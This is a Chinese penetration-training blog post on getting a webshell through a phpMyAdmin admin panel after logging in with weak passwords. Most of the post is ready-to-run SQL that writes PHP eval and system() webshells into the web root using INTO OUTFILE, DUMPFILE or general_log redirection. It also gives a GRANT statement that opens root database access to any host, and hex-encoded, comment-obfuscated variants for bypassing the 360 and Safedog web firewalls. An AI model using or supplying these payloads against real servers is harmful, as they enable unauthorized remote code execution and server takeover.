渗透培训-漏洞利用《phpmyadmin后台getshell》

少羽.
401
文章
81
评论
2020年2月16日23:38:44 评论 2,334 3652字阅读12分10秒

渗透培训-漏洞利用《phpmyadmin后台getshell》

导出WebShell主要条件:
Root数据库用户(root权限)
网站绝对路径(确定有写入权限)
magic_quotes_gpc:Off(关闭)

导出WebShell其它条件:
magic_quotes_gpc:开启时,会对’单引号进行转义,使其变成“\”反斜杠。

secure_file_priv:此配置项用来完成对数据导入导出的限制,如允许导入导出到指定目录。

file_priv:file_priv权限允许你用load_file、into outfile读和写服务器上的文件,任何被授予这个权限的用户都能读和写服务器的任何文件。

积极响应国家号召对此类文章进行统一封锁

输入密码查看隐藏内容:

1.弱口令进入phpmyadmin后台后

2.查看phpinfo,获得网站在该服务器上的绝对路径

方法一:在数据库中建表,存入一句话木马,然后导出文件

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[shaoyu]);?>');
select cmd from a into outfile 'D:/phpstudy/www/d.php';
Drop TABLE IF EXISTS a;

一句话连接密码:shaoyu

方法二:通过日志记录功能插入一句话木马

检查日志记录相关的全局变量的值:SHOW VARIABLES LIKE “general%”;

设置为on,开启general_log 的作用:开启它可以记录用户输入的每条命令

SET global general_log_file='D:/phpstudy/WWW/xiaoma.php';
select'<?php eval($_POST[shaoyu]);?>';

设置日志文件的路径,然后执行SQL语句,这个语句将被记录在日志文件中。然后一句话连接,就ok了。

骚姿势

1 phpMyAdmin导出至中文路径:

set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[shaoyu]);?>' into outfile 'C:\\phpStudy\\WWW\\测试\\shaoyu.php';

2 phpMyAdmin常规导出WebShell(1):

CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`shadow9` (`content` ) VALUES ('<?php @eval($_POST[shaoyu]);?>');
SELECT `content` FROM `shadow9` INTO OUTFILE 'C:\\phpStudy\\WWW\\shaoyu.php';

Create TABLE shadow9 (content text NOT NULL);
Insert INTO shadow9 (content) VALUES('<?php @eval($_POST[shaoyu]);?>');
select content from shadow9 into outfile 'C:\\phpStudy\\WWW\\shaoyu.php';

DROP TABLE IF EXISTS `shadow9`;

3 phpMyAdmin常规导出WebShell(2):

select '<?php @eval($_POST[shaoyu]);?>' into outfile 'c:/phpstudy/www/shaoyu.php';  
select '<?php @eval($_POST[shaoyu]);?>' into outfile 'c:\\phpstudy\\www\\shaoyu.php';
select '<?php @eval($_POST[shaoyu]);?>' into dumpfile 'c:\\phpstudy\\www\\shaoyu.php';

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' into outfile 'C:\\phpStudy\\WWW\\shaoyu.php';          
http://127.0.0.1/shaoyu.php?cmd=net user

4 phpMyAdmin general_log GetShell:

show global variables like "%genera%";          //查询general_log配置
set global general_log='on';              //开启general log模式
SET global general_log_file='D:/phpStudy/WWW/cmd.php';    //设置日志文件保存路径
SELECT '<?php phpinfo();?>';              //phpinfo()写入日志文件
set global general_log='off';              //关闭general_log模式

5 phpMyAdmin绕过WAF Getshell(1):

phpMyAdmin导出WebShell时如果遇到WAF就会被拦截,因为WAF会检测我们提交的POST、GET数据包内容中是否含有危险函数、SHELL特征等,没有通过,有则拦截。这时我们可以尝试开启外链来执行导出WebShell的SQL语句,因为这样走的不是POST、GET方式,所以这样执行SQL语句是不会被WAF拦截的。

grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;     //开启MySQL外链
flush privileges;                      //刷新MySQL系统权限相关表

6 phpMyAdmin绕过WAF Getshell(2):

检测我们提交SQL语句的POST、GET数据包中是否包含的有WAF特征库中的危险函数、SHELL特征等,如:、select、outfile,这样的就会被WAF检测到并进行拦截操作。
常规导出被拦截了:

select '<?php @eval($_POST[shaoyu]);?>' into outfile 'c:/phpstudy/www/shaoyu.php';
绕过360网站卫士:
select '<?php @eval($_POST[shaoyu]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php';
绕过网站安全狗(<4.0):

注:Hex编码:(提交时也会显示被拦截,其实文件[过狗马]已经导出了!)

select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
绕过网站安全狗(4.0正式版):
/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';

7 绕过server_sql.php、tbl_sql.php、db_sql.php + 安全狗导出WebShell:

server_sql.php、tbl_sql.php、db_sql.php这3个文件中在phpMyAdmin里都具有执行SQL语句的功能,但这3个文件被删除后再点击SQL执行语句时就会出现404错误页面,因为文件已经不存在了,这种情况虽然不常见,但也说不定哦!

登陆phpMyAdmin,选择MySQL数据库,随便复制1个表的链接,然后在链接后边加上以下过狗导出WebShell的SQL语句:

sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';

以上密码均为pass

[/wechat]

继续阅读
  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin
discuz x3.4 getshell漏洞 漏洞分析

discuz x3.4 getshell漏洞

开始 2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利...
渗透培训《文件包含》漏洞 渗透笔记

渗透培训《文件包含》漏洞

原理 文件包含漏洞产生的原因是在通过php函数引入文件时,由于传入的文件名没有经过合理的校验,从而引发了文件的泄漏或者恶意代码的注入 本文包含 图片马使用教程(很多人知道图片马却不知道使用方法) 积极...
渗透培训《文件上传》姿势 渗透笔记

渗透培训《文件上传》姿势

本篇要介绍的是常见的几种文件上传绕过姿势。 积极响应国家号召,此类文章统一禁止查看 文件上传校验 1.前端javascript校验(一般只校验后缀名) 2.服务端校验 3.文件头content-typ...
渗透培训《搜索引擎》利用 渗透笔记

渗透培训《搜索引擎》利用

本篇要介绍的搜索引擎包括:Shodan,censys,钟馗之眼,Google,FoFa,Dnsdb等。介绍的内容主要是这几款搜索引擎的一些高级语法,掌握高级语法会让搜索结果更准确。 积极响应国家号召,...
匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: